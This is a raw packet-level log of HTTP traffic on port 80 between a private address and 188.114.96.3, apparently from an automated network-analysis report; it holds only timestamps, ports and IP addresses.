Aug 29, 2024 12:14:40.829005003 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.829005957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.829020977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.829034090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.829055071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.829216003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.829226017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.829237938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.829243898 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.829248905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.829261065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.829263926 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.829274893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.829284906 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.829286098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.829312086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.829324961 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.888609886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888648033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888659954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888670921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888695002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888708115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888782978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888794899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888806105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888818026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888829947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888869047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.888870001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.888870001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.888870001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.888886929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.888927937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888947964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888959885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.888972998 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.888997078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.889168024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.889178991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.889190912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.889202118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.889214039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.889215946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.889225960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.889231920 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.889240026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.889249086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.889260054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.889276028 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.889301062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.890511990 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890544891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890558004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890579939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.890604019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.890691042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890702963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890713930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890726089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890732050 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.890764952 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.890880108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890912056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.890955925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890971899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890989065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.890999079 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891004086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891011000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891026974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891051054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891123056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891134024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891145945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891164064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891169071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891181946 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891206980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891232014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891242981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891253948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891272068 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891294956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891319036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891330004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891361952 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891382933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891393900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891405106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891421080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891422987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891439915 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891460896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891463041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891474009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891491890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891506910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891529083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891627073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891659975 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891670942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891681910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891710997 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891758919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891769886 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891781092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891789913 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891793013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.891813993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891836882 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.891992092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.892003059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.892014027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.892028093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.892031908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.892043114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.892056942 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.892074108 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.892111063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.892121077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.892142057 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.892155886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919142962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919158936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919171095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919204950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919217110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919229031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919246912 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919260979 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919353008 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919364929 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919377089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919388056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919399977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919413090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919425011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919429064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919429064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919429064 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919450045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919470072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919472933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919559002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919570923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919581890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919593096 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919604063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919608116 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919617891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919631004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919634104 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919652939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919677973 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919712067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919749022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919846058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919857979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919869900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919878006 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919882059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919895887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919895887 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919909000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919913054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919922113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919939995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919944048 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919955969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.919959068 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919982910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.919998884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.920140028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920150995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920161963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920171022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920175076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.920183897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920196056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920208931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920217991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920218945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.920218945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.920231104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920242071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920242071 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.920253992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920270920 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.920286894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.920401096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920413017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920423985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920437098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920449018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920454979 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.920460939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920473099 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.920490980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.920490980 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.920507908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.944788933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.944849014 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.979773045 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.979789972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.979803085 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.979871988 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980019093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980031967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980043888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980043888 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980057001 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980067015 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980068922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980077982 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980082989 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980097055 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980108976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980114937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980129004 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980145931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980146885 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980159998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980171919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980180025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980184078 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980196953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980202913 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980216026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980216026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980230093 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980241060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980243921 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980253935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980269909 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980290890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.980683088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.980726957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.981829882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.981842041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.981854916 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.981882095 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.981918097 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.981925011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.981936932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.981950998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.981962919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.981971025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982004881 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982165098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982177019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982189894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982211113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982225895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982247114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982260942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982271910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982285976 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982295036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982325077 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982355118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982435942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982450008 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982454062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982469082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982470989 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982482910 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982486963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982501984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982521057 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982548952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982562065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982573032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982583046 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982584000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982598066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982599020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982616901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982641935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.982889891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982939959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982953072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.982973099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983004093 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983019114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983031988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983047962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983063936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983066082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983084917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983108997 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983165026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983177900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983190060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983201981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983201981 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983211994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983216047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983227015 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983232975 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983247042 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983274937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983298063 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983311892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983349085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983377934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983391047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983402014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.983423948 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.983438969 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.012851000 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.012876034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.012888908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.012907982 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.012919903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.012933016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.012943983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.012945890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.012985945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013016939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013027906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013044119 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013061047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013066053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013072968 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013083935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013088942 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013096094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013108969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013113022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013120890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.013135910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.013151884 CEST	62660	80	192.168.2.3	188.114.96.3
